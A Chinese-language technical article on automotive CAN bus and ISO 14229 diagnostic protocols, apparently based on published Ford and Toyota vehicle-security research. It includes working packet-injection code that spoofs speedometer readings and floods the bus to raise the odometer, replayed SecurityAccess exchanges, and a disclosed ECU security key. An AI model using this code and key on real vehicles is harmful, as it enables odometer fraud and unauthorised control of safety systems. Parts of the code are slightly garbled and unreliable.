汽車CAN診斷協議和破解例子

簡介

通常汽車的電子控制模塊是聯在一個或多個匯流排上的。區域網路標準(CAN)。電子控制模塊彼此通信通過發送 CAN 數據包, 請參閱 [en.wikipedia.org/wiki/C]。這些數據包被廣播到匯流排上的所有組件上, 而每個組件可以決定是否為接受他們, 儘管已分段的 can 網路確實存在。CAN 數據包中沒有內置源標識符或身份驗證,匯流排上的數據每個電子控制模塊都可以偵聽。由於這兩個事實存在, 我們很容易既可以偵聽整改 can 網路通信, 也可以偽裝成其他電子控制模塊發送 CAN 數據包。

CAN網路介紹

隨著越來越多的汽車製造廠家採用CAN協議,CAN逐漸成為通用標準。在汽車的設計領域,CAN幾乎成為一種必須採用的技術手段。

CAN匯流排應用層協議制定的總體目標是最大限度地發揮CAN匯流排的優異性能,使通信更加規範、可靠,提高實時性,降低匯流排負載率。從電動汽車控制網路體系的要求出發,為XL純電動轎車制定了一套CAN匯流排應用層協議(第1階段)。通信採用CAN2.OB擴展格式,29位識別碼擴展信息幀格式,通信波特率為250kb/s。整套協議包括通信內容、ID編碼、數據編碼、數據格式、消息調度和介面規定等6個部分。以下分別從這6個方面分別介紹本協議制定的基本思想。

(一)通信內容規定

在協議中,規定了純電動轎車所有控制器的通信內容,包括動力總成控制器、電機控制器、電池管理系統以及監控標定終端。另外,為了第2階段的擴展,通信內容中還預留了高壓電管理單元、車載記錄儀和智能無線信息傳送單元等節點位置。對每個控制器節點,從各個控制器和純電動轎車的要求出發,分別從控制信息、狀態信息、故障信息、顯示信息、監控標定信息、產品系列信息等6個方面規定了其全部通信內容要求。從表1所示動力總成控制器的相關通信內容可以看出,所開發的協議可以滿足電動汽車控制、調試、維護、故障診斷和管理的需求。同時在協議的開發過程中,充分考慮了以後的擴展性,對部分消息包預留了擴展空間。

(二)ID編碼定義

CAN採用非破壞性匯流排仲裁技術和通過數據辨識碼的編碼可以支持點對點、點對多點、全局廣播傳輸方式。當多個節點同時向匯流排發送信息時,優先順序較低的節點會主動地退出發送,而最高優先順序的節點可不受影響地繼續傳輸數據,有效避免了匯流排衝突,因此縮短了匯流排衝突仲裁時間。本協議參考SAE J1939的29位ID的編碼格式,如圖3所示。

優先權P:CAN協議中一共有8個優先順序,即0~7,其中0表示最高級,7表示最低級。一般面向控制的信息優先順序為3,面向數據信息的優先順序為6,速度快的控制系統則優先順序高。如在動力總成控制器信息中,電機控制指令屬於控制信息,定義其優先權為3級。電機控制器信息中的電機狀態屬於數據信息,定義其優先權為6級。而當出現重大錯誤時動力總成控制器、電機和電池的緊急呼叫指令需要更快的速度,定義其優先權為最高級(即0級)。

保留位(R):1位,對發送信息體,此位應清零。用於留待將來使用。

數據頁(DP):1位,即0和1頁。數據頁用於擴展的參數組,目前定義的參數組數(PGN)大部分定義在0頁。

PDU格式(PF):PDU代表協議數據單元。用於決定分配到數據域的參數組數(PGN)。有2種特定的標識不同的參數PDU格式,即PDU1和PDU2。PUD1格式可用於傳遞CAN數據幀到特定的目標地址(DA),即某個ECU ; PDU2用於將CAN數據幀傳遞到一個擴展參數組(GE),即不是一個特定的地址。

PDU特定域(PS):它的定義取決於PF。PF<240, PS定義為自標地址;PS在240~255之間,則PS定義為擴展組。

源地址(SA):它為8位,在網路中每一個裝置僅有一個源地址,並且是唯一的,確保CAN辨識碼的唯一性。在協議中,依次對動力總成控制器、電機控制器、電池管理系統、智能信息傳送單元、車載記錄儀、監控標定終端等地址:進行了編號。

在應用層, CAN數據包可以包含一個標識符和數據。 標識符可能是11或29位長, 雖然我們有些汽車只有11位標識符。在標識符之後, 有0到8位元組的數據。有一些組件例如欄位長度和校驗和較在協議棧的底層, 但我們只關心應用程序層。數據可能包含校驗和或其他機制應用層8位元組內的數據, 但這不是 CAN 規範的一部分。在福特汽車中, 幾乎所有的包都可以包含8位元組的數據。在豐田汽車中, 位元組數變化很大, 並且通常最後一個位元組包含數據校驗和。正如我們稍後將會看到的, 有一種標準的方法可以使用CAN數據包一次傳輸超過8位元組的數據。

該標識符用作優先順序欄位, 值越低, 優先順序越高。它也被用作一個標識符來幫助 ecu 確定他們是否應該處理它。這是必要的, 因為罐頭交通在自然被廣播。所有 ecu 接收所有的 CAN 包, 並必須決定是否為它們準備。這是在 CAN 數據包標識符的幫助下完成的。

在汽車CAN網路中, 有兩種主要類型的CAN數據包, 一種是正常格式和診斷格式。正常數據包是從汽車電子控制單元ECU發出來的, 在任何給定時間都可以在CAN匯流排上被偵測到。它們可能是發給其他ECU的廣播消息, 在為完成某一項複雜功能時與其它ECU的消息溝通。在任何給定的時間 (通常每隔幾毫秒) 就會發送許多數據包。例如這樣一個數據包與標識符03B1 從某車廠匯流排上體現的消息:

IDH: 03, IDL: B1, Len: 08, Data: 80 00 00 00 00 00 00 00

在豐田汽車上一個標識符為00B6的數據包,廣播當時車速和校驗和的消息如下:

IDH: 00, IDL: B6, Len: 04, Data: 33 A8 00 95

注: 上述消息格式由本文作者創建。11位幀的 CAN id 可能被分解為高和低 (IDH 和 IDL), 或者合併為單個 id。例如, 上面的示例有一個 IDH 03 和一個 B1 的 IDL。因此它有03B1 的CAN ID。後面我們將交替使用每個格式將。

一個複雜的問題, 當試圖模擬在 can 網路廣播消息。CAN數據包是否具有與之相關的 can id, 但對於正常的 can 數據包, 每個 ECU 獨立地可以確定它們是否對某個CAN ID 的消息感興趣。此外, CAN網路上沒有關於哪個 ECU 發送消息的信息。這樣做的結果是, 當偵聽 CAN 網路時, 如果沒有預先的知識, 就無法告訴源或目標目的地的任何消息。唯一的例外是診斷可以消息。對於這些消息, 目標可以很容易地由 can ID 確定, 而通常消息源是一個診斷工具。

Checksum – Toyota

豐田普銳斯汽車的許多消息都包含了數據的校驗和在最後一個位元組的消息。雖然並非所有消息都有校驗和, 但大多數重要的數據包都包含一個。下面的演算法用於計算校驗和。

Checksum = (IDH +IDL+Len + Sum(Data[0] – Data[Len-2]))&0xFF

校驗和值放在數據 [Len-1] 位置中。

例如, 下面的車道保持輔助 (LKA) 數據包有一個校驗和的值 0xE3, 這是位元組( 02, E4, 05, F8, 00, 00, 00)的和, 下面的消息為:

IDH: 02, IDL: E4, Len: 05, Data: F8 00 00 00 E3.

沒有正確校驗和的數據包將被CAN匯流排上的電子控制模塊忽略該消息,即使這個消息時預期的。

Diagnostic packets

另外一種類型的CAN 數據包在汽車系統比較常見的是診斷數據包。這些數據包由維修人員用來與汽車電子模塊進行通信和詢問的診斷工具發送。這些數據包通常不會在車輛正常運行時看到。作為一個例子, 下面是一個交互消息, 以清除診斷工具和防抱死制動 (ABS) ECU之間的故障代碼:

IDH: 07, IDL: 60, Len: 08, Data: 03 14 FF 00 00 00 00 00

IDH: 07, IDL: 68, Len: 08, Data: 03 7F 14 78 00 00 00 00

IDH: 07, IDL: 68, Len: 08, Data: 03 54 FF 00 00 00 00 00

對於診斷數據包, 每個汽車電子控制模塊都有一個特定的 ID 分配給它。如在上面的例子中, ID 0760 是在許多福特車上ABS模塊給診斷預留的, 更多的診斷ID可以參[juchems.com/ServiceManu

nfiguration.pdf],從汽車電子控制的響應的標識符總是比初始標識符多8, 在本例中為ABS響應的ID是0768。正常的數據包似乎不遵循任何約定, 完全是專有的。診斷數據包格式通常遵循相當嚴格的

ISO-TP

ISO-TP, 或者 ISO 15765-2 是一個在 can 匯流排上發送數據包的國際標準, 請參閱 [en.wikipedia.org/wiki/I]。它定義了一種通過匯流排發送任意長度數據的方法。ISO-TP將將一個或多個元數據位元組放到每個 CAN 數據包的開頭。這些附加位元組稱為協議控制信息 (PCI)。第一個位元組的第一個半位元組表示 PCI 類型。有4可能的值。

0-單幀。包含整個負載。接下來的半個位元組表示數據包中有多少數據。

1-第一幀。多包負載的第一幀。接下來的3半位元組表明了負載的大小。

2連續幀。這包含多包負載的其餘部分。接下來的半個位元組用作索引來排序接收的數據包的順序。如果傳輸的內容長於112位元組, 則索引可以換行。

3-流量控制框架。作為第一幀數據包的確認。指定的參數用於傳輸其他數據包 (如其傳遞速率)。

例如, 最後一節中的第一個數據包

IDH: 07, IDL: 60, Len: 08, Data: 03 14 FF 00 00 00 00 00??

包含3位元組數據的單個幀。數據是 "14 FF 00"。另一個例子可以看下面所示

IDH: 07, IDL: E0, Len: 08, Data: 10 82 36 01 31 46 4D 43

IDH: 07, IDL: E8, Len: 08, Data: 30 00 00 00 00 00 00 00

IDH: 07, IDL: E0, Len: 08, Data: 21 55 30 45 37 38 41 4B

IDH: 07, IDL: E0, Len: 08, Data: 22 42 33 30 34 36 39 FF

IDH: 07, IDL: E0, Len: 08, Data: 23 FF FF FF 2A FF FF FF ?

第一個包, 標識符ID 07E0發送到電子控制模塊第一幀的0x082 位元組的數據。然後下一幀是一個確認幀。接下來的三幀是帶有索引1、2、3的連續幀 (注意, 索引從1不是0開始)。有效負載的實際數據是 "36 01 31 46 4D 43 55 30..."

ISO 14229, 14230

ISO-TP 描述了如何發送數據。兩個密切相關的規範, ISO 14229 和 14230, 描述了實際數據發送的格式。簡單地說, 有許多服務可用, 雖然製造商可以決定哪些服務讓自己的汽車電子控制模塊實現。

下面列表是 ISO 14229 的服務 id。每個都有特定的數據格式。之後, 我們將討論一些更重要的格式。

我們沒有時間來討論這些服務, 但我們將看看一些更有趣的。我們從 DiagnosticSessionControl 開始

DiagnosticSessionControl

這將建立一個與 ECU 的診斷會話, 通常是必要的, 然後才能發送任何其他命令。

IDH: 07, IDL: E0, Len: 08, Data: 02 10 03 00 00 00 00 00

IDH: 07, IDL: E8, Len: 08, Data: 06 50 03 00 32 01 F4 00

在這裡, 在提取了ISO TP 報文頭部信息之後, 發送的數據是 "10 03"。10表示它是一個 diagnosticSessionControl, ISO標準指出03表示一個 extendedDiagnosticSesssion。電子控制模塊應答的六位元組數據。第一個位元組50表示成功, 因為它比發送的代碼多40。下一個位元組將確認發送的代碼。其餘的數據與所建立的會議的細節有關。下面是失敗調用的示例:

IDH: 07, IDL: 26, Len: 08, Data: 02 10 02 00 00 00 00 00

IDH: 07, IDL: 2E, Len: 08, Data: 03 7F 10 12 00 00 00 00

這裡的應答是 7F, 表示錯誤。ID 再次與錯誤代碼一起重複。在這種情況下, 0x12 意味著 subFunctionNotSupported。(不同的電子控制模塊需要稍微不同的 ISO 142230 版本的 diagnosticSessionControl 命令)。下面是同一個電子控制模塊成功地建立了一個會話。

IDH: 07, IDL: 26, Len: 08, Data: 02 10 85 00 00 00 00 00

IDH: 07, IDL: 2E, Len: 08, Data: 02 50 85 00 00 00 00 00

SecurityAccess

為了執行許多敏感的診斷操作, 必須進行身份驗證。這是通過 securityAccess 服務完成的。有多個級別的訪問。第一個請求要求電子控制模塊提供一個加密的種子。電子控制單元和發件人有一個共享的加密功能, 當給定一個種子發出一個響應,然後發件人將計算出的結果發回證明它有鑰匙。這樣, 實際的密鑰永遠不會通過 CAN 網路發送, 而是重複協商的挑戰響應。下面是一個例子。

IDH: 07, IDL: 26, Len: 08, Data: 02 27 01 00 00 00 00 00

IDH: 07, IDL: 2E, Len: 08, Data: 05 67 01 54 61 B6 00 00

IDH: 07, IDL: 26, Len: 08, Data: 05 27 02 D0 B6 F1 00 00

IDH: 07, IDL: 2E, Len: 08, Data: 02 67 02 00 00 00 00 00

第一個數據包請求安全訪問級別01。種子返回, "54 61 B6"。經過一定的計算後, 發送方返回操作種子的結果, "D0 B6 F1"。由於這是正確的價值, 電子控制模塊的應答是一個錯誤的自由響應。

inputOutputControl

從安全研究員的角度來看,這是一個有趣的特點。inputOutputControl是一項測試功能, 允許授權的工具控制或監視外部輸入到電子控制模塊。例如, 你可以讓電子控制模塊假裝接收到某些感測器值, 這樣機械師就能辨別出感測器是否有問題。實際發送到電子控制模塊的參數完全依賴於電子控制模塊自己預先設計的參數。下面是一個例子。

IDH: 07, IDL: E0, Len: 08, Data: 06 2F 03 07 03 00 00 00

IDH: 07, IDL: E8, Len: 08, Data: 06 6F 03 07 03 36 90 00

在這種情況下, 將發送 inputOutputControl 的參數--0307。這告訴 ECU 哪一個是我們感興趣。"00 00" 是我們所需的一些數據在inputOutputControl中有特別定義。一個電子控制模塊可以在其所有的 inputOutputControl 服務中實現幾個或一個請求的數據。

inputOutputControlByLocalIdentifier

這項服務是非常類似的 InputOutputControl, 是專門用於豐田車型的激活診斷測試。這些類型的診斷測試對安全研究人員很有用, 因為他們可以驗證汽車的某些功能。下面是一個示例:

IDH: 07, IDL: 81, Len: 08, Data: 04 30 01 00 01 00 00 00

IDH: 07, IDL: 89, Len: 08, Data: 02 70 01 00 00 00 00 00

上面的例子, 服務工具是告訴電子控制單元監聽 標識符0781, 裡面有04位元組的數據和請求是一個 inputOutputControlByLocalIdentifier (30)。接下來的3位元組數據 (01 00 01) 被用作 controlOption。在這個特定的情況下, 它是在用戶側測試豐田預碰撞系統座椅安全帶功能為。

RoutineControl

此服務類似於電子控制模塊中的 RPC 服務。它允許用戶讓電子控制模塊執行一些預先編程的例行程序。這裡是一個例子。

IDH: 07, IDL: E0, Len: 08, Data: 10 0C 31 01 FF 00 00 01 ,TS: 513745

IDH: 07, IDL: E8, Len: 08, Data: 30 00 00 00 00 00 00 00 ,TS: 513754

IDH: 07, IDL: E0, Len: 08, Data: 21 00 00 00 07 00 00 00 ,TS: 513760

IDH: 07, IDL: E8, Len: 08, Data: 03 7F 31 78 00 00 00 00 ,TS: 513769

IDH: 07, IDL: E8, Len: 08, Data: 03 7F 31 78 00 00 00 00 ,TS: 545021

IDH: 07, IDL: E8, Len: 08, Data: 05 71 01 FF 00 10 00 00 ,TS: 570007

第一個位元組, 01 告訴電子控制模塊我們想要做什麼, 01 意味著 startRoutine。接下來的兩個位元組是 routineIdentifier, 在本例中為 FF00。其餘的位元組是子常式的參數。電子控制模塊可能實現一些 routineControls 或根本沒有。

RequestDownload (and friends)

終極服務是 RequestUpload 和 RequestDownload 服務。這些數據要麼轉儲或上傳到/從 ECU。讓我們看看RequestDownload服務把數據放在到 ecu 上 (上傳/下載是從 ecu 的角度)。數據的傳輸在3步中發生。首先, 客戶端發送 RequestDownload 數據包。

IDH: 07, IDL: E0, Len: 08, Data: 10 0B 34 00 44 00 01 00 ,TS: 684202,BAUD: 1 IDH: 07, IDL: E8, Len: 08, Data: 30 00 00 00 00 00 00 00 ,TS: 684208,BAUD: 1 IDH: 07, IDL: E0, Len: 08, Data: 21 08 00 06 FF F8 00 00 ,TS: 684214,BAUD: 1 IDH: 07, IDL: E8, Len: 08, Data: 04 74 20 0F FE 00 00 00 ,TS: 684224,BAUD: 1

在這種情況下, dataFormatIdentifier 為 00 (未壓縮和未加密)。下一個位元組是 AddressAndLengthFormatIdentifer 44, 它表示4位元組的長度和4位元組的地址。這裡的地址是 00 01 00 08 和大小下載是 00 06 FF F8。應答表明即將進來的數據來自0FFE 的組。

接下來, 我們發送的實際數據與 TransferData 服務。

IDH: 07, IDL: E0, Len: 08, Data: 1F FE 36 01 7C 69 03 A6 ,TS: 686450,BAUD: 1 IDH: 07, IDL: E8, Len: 08, Data: 30 00 00 00 00 00 00 00 ,TS: 686459,BAUD: 1 IDH: 07, IDL: E0, Len: 08, Data: 21 4E 80 04 20 D5 F0 CD ,TS: 686464,BAUD: 1 IDH: 07, IDL: E0, Len: 08, Data: 22 A9 FF FF FF FF FF FF ,TS: 686472,BAUD: 1 IDH: 07, IDL: E0, Len: 08, Data: 23 FF FF FF FF FF FF FF ,TS: 686480,BAUD: 1 IDH: 07, IDL: E0, Len: 08, Data: 24 FF FF FF FF FF FF FF ,TS: 686485,BAUD: 1

...

第一個位元組01表示它是要來的數據組中的第一個。ISO TP 標頭表示它按要求是 F FE。數據開始 7C 69 03 A6..。

最後, 當完成時, 我們以 RequestTransferExit 包結束。

IDH: 07, IDL: E0, Len: 08, Data: 01 37 00 00 00 00 00 00 ,TS: 1369232,BAUD: 1

IDH: 07, IDL: E8, Len: 08, Data: 03 7F 37 78 00 00 00 00 ,TS: 1369239,BAUD: 1

IDH: 07, IDL: E8, Len: 08, Data: 03 77 88 A8 00 00 00 00 ,TS: 1380252,BAUD: 1

這裡的7F 表示錯誤代碼 78, 這意味著 requestCorrectlyReceived ResponsePending, 即它正在處理。然後它最後送正確無差錯承認。

某一車型的CAN匯流排拓撲關係

某車型有兩個 can 匯流排, 一個低速CAN 125kbps 和高速 (HS) can 500kbps。這兩個CAN網路都接在OBD-II埠上, 在福特接線圖中被稱為數據鏈路連接器 (DLC), 見圖6。

高速CAN上接到DLC 的6和14管腳上。連接到HS can 匯流排上的 ecu 包括

1. InstrumentCluster

2. Anti-LockBrakeSystemModule

3. Restraints Control Module

4. Occupant Classification Module

5. ParkingAidModule

6. PowerSteeringControlModule

7. PowertrainControlModule

8. AccessoryProtocolInterfaceModule(SYNC)

低速CAN連接到DLC 的3和11針腳上,低速CAN匯流排包含以下組件, 請參見圖6。

1. InstrumentCluster

2. AudioControlModule

3. HVACModule

4. Front Controls Interface Module

5. FrontDisplayModule

6. SmartJunctionBox

7. AccessoryProtocolInterfaceModule (同步)

CAN匯流排工具

我們使用EControls 的OBD-II轉USB 與汽車CAN匯流排進行通信,見圖9。這條相對便宜的電纜帶有一個 DLL 和一個 API, 可用於通過 USB 從 Windows 計算機到可以讀寫CAN匯流排(某寶上大量轉接線和分析儀)。

OBD介面定義

1. Manufacturer discretion. GM: J2411 GMLAN/SWC/Single-Wire CAN.

2. Bus positive Line of SAE-J1850 PWM and SAE-1850 VPW

3. Ford DCL(+) Argentina, Brazil (pre OBD-II) 1997-2000, USA,

4. Chassis ground

5. Signal ground

6. CAN high (ISO 15765-4 and SAE-J2284)

7. K line of ISO 9141-2 and ISO 14230-4

8. -

9. -

10. Bus negative Line of SAE-J1850 PWM only (not SAE-1850 VPW)

Europe, etc. Chrysler CCD Bus(+)

11. Ford DCL(-) Argentina, Brazil (pre OBD-II) 1997-2000, USA, Europe, etc. Chrysler CCD Bus(-)

12. -

13.

14. CAN low (ISO 15765-4 and SAE-J2284)

15. L line of ISO 9141-2 and ISO 14230-4

16. Battery voltage

ELM327用到的引腳:

2: SAE-J1850 PWM和SAE-1850 VPW匯流排(+)

4. 車身接地

5. 信號接地

6. CAN high (ISO 15765-4和SAE-J2284)

7. ISO 9141-2和ISO 14230-4匯流排的K線

10. SAE-J1850 PWM協議匯流排(-)

14. CAN low (ISO 15765-4和SAE-J2284)

15. ISO 9141-2和ISO 14230-4匯流排的L線

16. 蓄電池電壓

實車連線圖

EcomCat

EcomCat 是由Dr. Charlie Miller & Chris Valasek 用 C 語言編寫的軟體, 通過一個或多個OBD轉接線來幫助使用者讀寫數據到 can 匯流排。顧名思義, EcomCat 是我們在做汽車研究時的瑞士軍刀。讓我們來看看它的一些功能。

輸出

EcomCat 能夠偵聽整個CAN 網路的數據並捕獲他們。我們還提供了軟體篩選器, 以縮小應用程序存儲的 CAN id 的範圍。默認情況下, 捕獲的輸出被寫入 "output.dat", 從而覆蓋每次運行時的上一個文件。存儲在輸出文件中的數據以後可以用作 EcomCat 的輸入。

輸入

外部文件包含 can 數據可以被 EcomCat用來發送。數據從文件中讀取, 並按與文件相同的順序播放到 can 匯流排。默認輸入文件為 "input.dat"。每次運行後, 其內容將完好無損。

連續發送

有時, 您會希望連續播放相同的消息, 持續一段時間。EcomCat 將使用變數中提供的值在 can 匯流排上連續播放, 用戶定義的時間量。

該工具還具有其他幾個功能。有關詳細信息, 請參閱 EcomCat Visual Studio 項目和相關源代碼。

Ecomcat_api

對於編寫自定義 can 網路程序, 我們有可以與我們的 c/c++ API 或 Python 介面一起使用的代碼。為了便於解釋, 我們將顯示 Python API。Python API 是 ecomcat_api .dll 動態庫的包裝器. 我們寫的

ecomcat_api 的代碼將可供下載。

正常CAN數據包

為了使用 API, 您首先需要導入必要的內容:

from ctypes import *

import time

mydll = CDLL(Debug\ecomcat_api)

class SFFMessage(Structure):

_fields_ = [("IDH", c_ubyte),

("IDL", c_ubyte),

("data", c_ubyte * 8),

("options", c_ubyte),

("DataLength", c_ubyte),

("TimeStamp", c_uint),

("baud", c_ubyte)]

接下來, 您需要初始化到OBD轉換設備的連接。

handle = mydll.open_device(1,0)

1表示它是高速 CAN 網路和 0, 選擇第一OBD轉換設備電纜 (按序列號), 發現連接。

接下來, 您可以開始發送 can 包。

y = pointer(SFFMessage())

mydll.DbgLineToSFF("IDH: 02, IDL: 30, Len: 08, Data: A1 00 00 00

00 00 5D 30", y)

mydll.PrintSFF(y, 0)

mydll.write_message_cont(handle, y, 1000)

這將發送我們的格式連續1000ms 描述的 CAN 消息。

其他一些感興趣的 python 函數包括:

write_message

write_messages_from_file

read_message

read_message_by_wid

當然, 當你完成後, 你應該關閉handle。

mydll.close_device(handle)

Diagnostic packets

我們提供代碼來處理髮送診斷數據包, 包括為您做所有的低級別的 ISO TP。再次開始初始化, 如上圖。然後你可以發送一個特定的信息給 ECU。

send_data(mydll, handle, 0x736, [0x2F, 0x03, 0x07, 0x03, 0x00,

0x00])

這將發送前面看到的 InputOutputControl 數據包。許多來自 ISO 14229 和14230的服務也得到了實施。下面的操作與上面的相同。

do_inputoutput(mydll, handle, wid, 0x0307, [0x03, 0x00, 0x00])

下面是一些啟動診斷會話的代碼示例, 通過 securityAccess 進行身份驗證, 然後嘗試執行 RoutineControl

if do_diagnostic_session(mydll, handle, wid, "prog"):

print "Started diagnostic session"

do_security_access(mydll, handle, wid)

do_routine_14230(mydll, handle, wid, 0x02, [0])

PyEcom

PyEcom 也被開發來實現ecomcat_api 在Python 中的。它是專門從開發商開發來抽象的一些非標準豐田的變本,。雖然與上面的例子非常相似, 但在使用 PyEcom 時存在一些差異。

例如, 在導入必要的庫後, 設備將按序列號打開, 並且可以立即用於執行各種功能。

from PyEcom import *

from config import *

ECU = 0x7E0

ret = ecom.security_access(ECU)

if ret == False:

print "[!] [0x%04X] Security Access: FAILURE" % (ECU)

else:

print "[*] [0x%04X] Security Access: Success" % (ECU)

請參閱 PyEcom 的更多方法, 可用於豐田和非豐田的功能。豐田的具體功能通常是 "toyota_"

CAN匯流排數據注入技術

現在, 我們有一種方式讀寫CAN匯流排數據, 這是自然的, 找出什麼不同的包可以做, 然後重播它們, 看看我們是否能得到汽車的相應。這將證明在 ECU 上運行代碼的攻擊者可能會威脅到車輛的安全。然而, 有許多潛在的問題, 試圖使車輛執行行動通過注射數據包在 can 匯流排上。

問題和陷阱

首先, 應該從整車CAN匯流排拓撲圖上看到, 不是所有的東西都可以通過 can 匯流排控制。例如車速、剎車等,在自動巡航時,唯一的時間加速度被自動地控制, 即沒有司機物理上沒有加速。但是, 如果你看一下車輛的接線圖, 你會看到所有的控制都直接連接到 PCM。

因此, 整個巡航控制系統是直接連接到動力總成控制模塊, 也控制, 除其他事項, 發動機。這意味著, 合理的假設巡航控制不受 CAN 通信的直接影響。從理論上講, 加速度可以通過 can 匯流排控制 (可能通過一些診斷環節), 但在表面上, 這項功能不太可能使用 can 匯流排的數據。隨著越來越多的電子元件被連接到汽車上, 越來越多的功能將會網路化。福特有一個更舊的設計沒有許多 inter-networked 連接性;雖然豐田有更多的 ecu 聯網, 增加了成功的可能性。

還有其他的併發症。一旦你發現了一個數據包的作用, 它並不意味著如果你欺騙它, 就會發生任何動作。

例如, 在某車型的匯流排上, 可以觀察到 ID 為0200的 CAN 數據包, 它有一個位元組表示加速器的抑製程度。人們可能會天真地認為, 用不同的值重播這個數據包可能會使引擎走得像是在欺騙級別按下加速器。情況並非如此。這個數據包是從 PCM (讀加速器感測器) 發送到 ABS, 據推測, 以幫助它找出是否有一個牽引力控制事件正在進行。這與汽車是否應該加快速度沒有任何的有關。有無數這樣的例子, 包括, 例如, 當重播多少剎車數據包, 但發動機不一定不剎車。

需要大量的逆向工程來定位特定的數據包, 從一個 ecu 請求另一個 ecu 來採取行動。從控制的角度來看, 這些都是有趣的。即使標識了這些 id, 也至少會出現兩個問題。第一個是, 你可以發送假的包, 但原始的 ECU 也會發送數據包在CAN網路上,這可能會使接收方 ECU 收到大數據產生突數據混淆。

另一個問題是, 接收 ECU 可能有內置的安全功能, 使它忽略您發送的數據包。例如, 在豐田普銳斯, 在智能停車場, 用於轉動車輪的數據包只有在倒車時才起作用。同樣, 如果他們告訴方向盤轉向超過 5%, 汽車在道路上,這樣的數據包將被忽略。可以通過欺騙 ECU 來繞過這些限制, 但是需要一些額外的工作。

最後, 如果匯流排上有爭用, 可能會缺少響應或完全忽略發送的數據包。記住, 您正在鍛造數據包的 ECU 仍然在匯流排上發送通信, 除非您完全將其從網路中刪除。因此, 使用正在發送的數據的 ecu 可能會收到衝突的數據。例如, 在儀錶上鍛造數據包以顯示當前速度, 必須比實際報告速度的 ECU 更頻繁地發送。否則, 所顯示的信息將產生不需要的結果。

測試數據

為了看看什麼是可能的, 讓我們在車上通過幾個快速的例子驗證一下。在福特翼虎的低速 can 匯流排上, 有一個由汽車使用的數據包, 用來指示是否有一個門開關狀態的數據包使用11位標識符0x03B1 。看來這個數據包每兩秒鐘就發送一次。當沒有門半掩時, 數據包看起來像:

IDH: 03, IDL: B1, Len: 08, Data: 00 00 00 00 00 00 00 00?

此數據包是使用我們的 ECOMCat 應用程序與OBD-II介面轉換器捕獲的。當司機側的門是半開的, 下面的數據包被觀察到:

IDH: 03, IDL: B1, Len: 08, Data: 80 00 00 00 00 00 00 00

此單位元組差異指示儀錶顯示門的狀態。當這個數據包被寫到 can 匯流排使用我們的 EcomCat API, 汽車將簡要說明, 司機的門是半開的, 即使它不是, 看到視頻門. 圖16。據推測, 這條消息在下次門感測器發送真正的數據包時停止顯示, 指示它已關閉。

CAN匯流排攻擊

下面是一些例子, 可以通過發送正常的 can 包來影響汽車的功能。這裡的想法是, 如果攻擊者可以得到代碼運行在一個 ECU (通過攻擊藍牙, 遠程信息處理, 輪胎感測器, 物理訪問), 他們將能夠發送這些數據包, 從而使汽車執行這些行動。

車速表-福特

開始學習的注入包通常與顯示器有關。在這裡, 我們處理設置的速度和轉速顯示給司機。隔離這個數據包並重放它是很容易的。在福特車型, 這是由高速 CAN 網路ID 0201數據包控制。該數據包採用以下形式:

[AA BB 00 00 CC DD 00 00]

其中 AABB-是轉速顯示和 CCDD 是速度。要從 can 數據包中的位元組到實際速度, 可以使用以下公式:

Speed (mph) = 0.0065 * (CC DD) - 67

RPM = .25 * (AA BB) - 24

例如, 下面的代碼將設置 RPM 和速度表, 請參閱視頻 ford_driving_speedometer。

y = pointer(SFFMessage())

mydll.DbgLineToSFF("IDH: 02, IDL: 01, Len: 08, Data: 23 45 00 00

34 56 00 00", y)

mydll.write_message_cont(handle, y, 2000)

這將產生一個速度的 0x3456 *. 0065-67 = 20.1mph 和 rpm 2233 rpm, 見圖18。

里程錶-福特

類似的車速表, 你可以使里程錶上升。在這裡, ECU 是期待一個滾動計數, 而不是一個靜態值。因此, 我們必須給它所期望的, 見下面的代碼。

z = pointer(SFFMessage())?read_by_wid = mydll.read_message_by_wid_with_timeout read_by_wid.restype = POINTER(SFFMessage)?z = read_by_wid(handle, 0x420)?mydll.PrintSFF(z,0)?odometer = z.contents.data[0] << 16?odometer += z.contents.data[1] << 78?odometer += z.contents.data[2]

yy = pointer(SFFMessage())

while True:?odometer += 0x1000

mydll.DbgLineToSFF("IDH: 04, IDL: 20, Len: 08, Data: %02x

%02x %02x 00 00 00 02 00 ,TS: 17342,BAUD: 205" % ((odometer &

0xff0000) >> 16, (odometer & 0xff00) >> 8, odometer & 0xff), yy)

mydll.PrintSFF(yy,0)

mydll.write_message(handle, yy)

首先, 我們讀取 ID 為420的消息的當前值。接下來, 我們開始淹沒網路, 同時慢慢增加前三值,這使得里程錶上升。

CAN匯流排攻擊-診斷工具

SecurityAccess – Ford

在對 ECU 執行大多數診斷操作之前, 您需要對其進行身份驗證。對 PAM ECU 的身份驗證是很容易的。這個特定的 ECU 總是發送相同的種子, 所以反應總是一樣的。如果你曾經偵聽一個工具對 PAM 進行 SecurityAccess, 你就可以重放它。否則, 你可以想像蠻力破解它 (它是24位)。

IDH: 07, IDL: 36, Len: 08, Data: 02 27 01 00 00 00 00 00

IDH: 07, IDL: 3E, Len: 08, Data: 05 67 01 11 22 33 00 00

IDH: 07, IDL: 36, Len: 08, Data: 05 27 02 CB BF 91 00 00

IDH: 07, IDL: 3E, Len: 08, Data: 02 67 02 00 00 00 00 00

種子每次 11 22 33。其他 ECU 的程序可能每次發送不同的種子。例如, 這裡有一些從 PCM 返回的種子。不完全是隨機的, 但至少它們是不同的。

IDH: 07, IDL: E8, Len: 08, Data: 05 67 03 07 43 6F 00 00 ,TS: 82833

IDH: 07, IDL: E8, Len: 08, Data: 05 67 03 07 5B C5 00 00 ,TS: 107753

IDH: 07, IDL: E8, Len: 08, Data: 05 67 03 07 C4 2B 00 00 ,TS: 214658

IDH: 07, IDL: E8, Len: 08, Data: 05 67 03 08 03 F1 00 00 ,TS: 279964

IDH: 07, IDL: E8, Len: 08, Data: 05 67 03 08 1B 41 00 00 ,TS: 303839

IDH: 07, IDL: E8, Len: 08, Data: 05 67 03 08 53 22 00 00 ,TS: 361056

IDH: 07, IDL: E8, Len: 08, Data: 05 67 03 08 E2 19 00 00 ,TS: 507455

IDH: 07, IDL: E8, Len: 08, Data: 05 67 03 08 F8 91 00 00 ,TS: 530462

(作為一個旁白, 這些數據包試圖訪問比我們先前討論的更高的安全級別 (3)。此外, 該 ECU 和該級別的關鍵是 44 49 4F 44 45, 或 "DIODE")。

